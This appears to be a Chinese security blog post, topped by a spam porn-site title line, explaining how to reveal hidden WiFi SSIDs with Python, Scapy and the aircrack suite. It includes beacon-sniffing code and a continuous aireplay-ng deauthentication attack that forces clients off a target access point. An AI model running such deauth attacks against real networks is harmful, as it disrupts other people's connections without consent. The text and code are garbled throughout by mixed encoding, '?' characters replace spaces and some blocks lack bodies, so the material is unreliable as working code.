压在透明的玻璃上c-国产精品国产一级A片精品免费-国产精品视频网-成人黄网站18秘 免费看|www.tcsft.com

利用Python和Scapy發(fā)現(xiàn)隱藏無線熱點

從WiFi萬能鑰匙導致密碼泄漏,到央視“315”晚會曝光無線的危險,到前幾天京東因無線密碼泄漏導致被內網(wǎng)漫游,讓我們不得不開始關注無線安全。因為一旦無線被破解,以目前的無線架構的特點來說,基本上就等于進了家門,危險程度還是很高的。

wifi

今天主要想跟大家聊聊如何找出隱藏無線SSID的。

0×00 ?說說已有的東西

如何找出隱藏無線熱點SSID不是一個新的話題,網(wǎng)上搜一下,這種教程也很多,不過大多數(shù)是需要借助一些工具比如wireshark或者CommView等來進行抓包操作輔助完成,大體的方式和流程是像這樣:

1

這樣:

2

這樣:

3

這樣:

4

這樣就找到了我們的無線熱點了。不多做解釋,需要的同學請自行百度。

其實這樣的方式也沒有什么不好的,因為我比較懶,所以有了這篇文章。

0×01 ?大體思路

思路是這樣的:

1、判斷周圍環(huán)境是否存在隱藏無線熱點
2、根據(jù)隱藏無線熱點特征獲取無線熱點的BSSID
3、使用aireplay對目標熱點進行攻擊使客戶端下線重連
4、重連過程中抓取包請求同時進行包過濾獲取有用信息
5、得到隱藏熱點的SSID

0×02 ?測試環(huán)境

慣例說一下測試環(huán)境:

系統(tǒng):?????Ubuntu14.04
Python版本:2.7.6
工具:????aircrack套(主要使用airmon-ng和aireplay工具)

0×03 啟用監(jiān)聽模式

首先我們需要把我們的網(wǎng)卡啟動到監(jiān)聽模式。這里就需要用到aircrack套件了。

使用以下命令開啟監(jiān)聽模式:

sudo?airmon-ng?start?wlan0

這里因為我需要最終寫到python中,所以使用了os.popen()函數(shù)來執(zhí)行這條命令。

貼上這部分python代碼:

#判斷是否開啟監(jiān)聽模式
ifa?=?os.popen('ifconfig??|?grep?mon0?|?cut?-d?"?"?-f?1')
ifb?=?ifa.read()
if?ifb?!=?'mon0\n':
????print?'正在開啟監(jiān)聽模式……\n'
????f?=?os.popen('airmon-ng?start?wlan0')
????f.read()
????f.close
if?ifb?==?'mon0\n':
????pass
ifa.close()

0×04 發(fā)現(xiàn)隱藏無線熱點

FreeBuf小知識

介紹這部分之前,我們需要首先了解一些關于嗅探到的包的信息,以便于我們后文可以對包進行過濾操作:

wlan.fc.type?==?0???????????管理幀(Management?frames)
wlan.fc.type?==?1???????????控制幀(Control?frames)
wlan.fc.type?==?2???????????數(shù)據(jù)幀(Data?frames)
wlan.fc.type_subtype?==?0???關聯(lián)請求(Association?request)
wlan.fc.type_subtype?==?1???關聯(lián)響應(Association?response)
wlan.fc.type_subtype?==?2???重連請求(Reassociation?request)
wlan.fc.type_subtype?==?3???重連響應(Reassociation?response)
wlan.fc.type_subtype?==?4???幀請求(Probe?request)
wlan.fc.type_subtype?==?5???幀響應(Probe?response)
wlan.fc.type_subtype?==?8???信標(Beacon)

/FreeBuf小知識

因 為我們這里主要是為了發(fā)現(xiàn)隱藏的無線熱點,而隱藏SSID只能在連接請求和連接響應中獲取,但是連接請求中可能會出現(xiàn)我們不想要的內容(比如手機記憶的但 是非我們想要的SSID),所以這里我們主要用到type=0和type_subtype=8和type_subtype=5。而如果你是想要獲取周圍設 備所記憶的無線熱點名稱,則可以用subtype=4輔助發(fā)現(xiàn),這里我們不多做解釋。

接下來我將一步一步解釋我做這個時所遇到的問題。

首先,我們需要先發(fā)現(xiàn)周圍的無線熱點,發(fā)現(xiàn)無線的代碼如下:

def?PacketHandler(pkt):
????if?pkt.haslayer(Dot11):
????????if?pkt.type?==?0?and?pkt.subtype?==?8:
????????????if?pkt.addr2?not?in?aps:
????????????????aps.append(pkt.addr2)
????????????????cap?=?pkt.sprintf("{Dot11Beacon:%Dot11Beacon.cap%}{Dot11ProbeResp:%Dot11ProbeResp.cap%}")
????????????????if?re.search('privacy',?cap):
????????????????????a?=?'加密狀態(tài):Yes\t熱點BSSID為%s\tSSID為%s'%(pkt.addr2,?pkt.info)
????????????????????with?open('test.txt',?'a+')?as?t:
????????????????????t.write(a+'\n')
????????????????????print?a
????????????????else:
????????????????????b?=?'加密狀態(tài):No\t熱點BSSID為%s\tSSID為%s'%(pkt.addr2,?pkt.info)
????????????????????with?open('test.txt',?'a+')?as?t:
????????????????????t.write(b+'\n')
????????????????????print?b
sniff(iface?=?'mon0',?prn?=?PacketHandler)

執(zhí)行之后的結果是這樣的

5

嗅探結果就是這樣的,可以看出周圍的無線環(huán)境比較復雜,小編能在如此復雜的網(wǎng)絡環(huán)境中保持一顆純真的童心,實屬不易。

細心的同學可能已經(jīng)發(fā)現(xiàn)了,這里的無線混入了一個奇怪的東西:

6

沒錯,這個空空的SSID就是我建的隱藏無線熱點,到這里就簡單啦,只要判斷SSID是否為空值就可以了,然后根據(jù)空值判斷出周圍存在隱藏無線,從而獲取到BSSID,好像很輕松嘛,可是事實真的如此嗎?

在我想要按照以上思路走的時候我才發(fā)現(xiàn)事實并非如此。用SSID為空的條件根本獲取不到任何東西,這就奇怪了,于是我將無線信息寫入到一個文本中,想看一下究竟發(fā)生了什么,結果如下:

7

終于恍然大悟,我解釋一下,看明白的直接略過這一步:

隱藏SSID的無線的SSID其實并非為空值,而是將所有的SSID字符以十六進制的0×00進行填充,因為我們的設備都無法正常顯示0×00這個值,所以看起來就像是空值。

知道了原因就好解決了,我使用了binascii庫進行了值的轉換,解決代碼如下:

if?binascii.hexlify(pkt.info)[:2]?==?'00':#判斷名稱是否為空
????print?'發(fā)現(xiàn)隱藏無線熱點!?BSSID是?%s\n'?%pkt.addr2

因為我們無法確定目標熱點的SSID究竟使用了幾個字符,而一般的無線名稱是不會出現(xiàn)0×00這個值的,因此我切取了前兩個值進行判斷。

0×05 獲取BSSID并進行攻擊

獲取BSSID代碼如下:

if?binascii.hexlify(pkt.info)[:2]?==?'00':
????addr?=?pkt.addr2

好吧就是一個賦值操作(唉?誰扔的臭雞蛋?你出來?。?/p>

然后進行攻擊:

攻擊的過程實際就是向熱點發(fā)送deauth包,然后強制客戶端下線,這里我們使用aireplay,命令如下:

aireplay-ng?--deauth?0?-a?addr?mon0?--ignore-negative-one

執(zhí)行結果是這樣的:

8

攻擊一會兒我們的目的就達到了,然后手動停止攻擊,寫成python代碼如下:

os.system('aireplay-ng?--deauth?0?-a?'+addr+'?mon0?--ignore-negative-one')

但是需要注意的是,在我實際測試的過程中,即便是不進行攻擊操作也是可以獲取到SSID的,所以如果不是長時間無法獲取SSID,一般我們不用這個。

0×06 抓取過濾

接下來就是抓包時間,同時對抓到的包進行過濾處理,主要代碼如下:

if?pkt.haslayer(Dot11):
????if?pkt.addr2?==?addr:
????????try:
????????????#print?pkt.info#該行為調試行
????????????if?binascii.hexlify(pkt.info)[:2]?!=?'00':
????????????if?pkt.addr2?not?in?aps2:
????????????????aps2.append(pkt.addr2)
????????????????cap?=?pkt.sprintf("{Dot11Beacon:%Dot11Beacon.cap%}{Dot11ProbeResp:%Dot11ProbeResp.cap%}")
????????????????print?'隱藏無線熱點名稱是:'+pkt.info+'\n'
????????????????if?re.search("privacy",?cap):
????????????????????print?pkt.info+'已加密'
????????????????else:
????????????????????print?pkt.info+'未加密'
????????????????print?'正在關閉監(jiān)聽模式……\n'
????????????????time.sleep(1)

上一篇:云控攻擊之“人生在世”木馬分析

下一篇:淺析點擊劫持(click jacking)